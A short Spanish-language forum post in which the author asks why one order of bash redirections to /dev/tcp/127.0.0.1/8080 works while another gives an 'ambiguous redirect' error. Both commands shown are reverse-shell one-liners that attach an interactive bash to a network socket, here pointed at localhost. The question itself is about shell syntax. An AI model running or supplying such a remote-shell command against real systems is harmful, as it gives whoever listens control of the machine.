Es mi primer post en el foro. Sin enrollarme mucho me alegro (de volver) aqui y continuo con la pregunta:
Si ejecuto bash interactivo de la siguiente forma:
Código
bash -i 1>& /dev/tcp/127.0.0.1/8080 0>&1 2>&1
Puedo redirigir con exito stdout al socket, stdin a stdout (al socket) y stderr a stdout (").
El problema es que si hago lo siguente:
Código
bash -i 0>& /dev/tcp/127.0.0.1/8080 1>&0 2>&0
Obtengo el error:
Código
bash: /dev/tcp/127.0.0.1/8080: ambiguous redirect
Para entender por que no entiendo yo por que no funciona, yo me imagino la primera linea de comandos asi:
stdout -> socket
stdin <- socket
Lo unico que me imagino que cambia con la segunda, es que se convierte en:
stdin <- socket
stdout -> socket
¿Por que no funciona como deberia?
Gracias de antemano y feliz Navidad de nuevo. Jingle bells jingle bells jingle all the way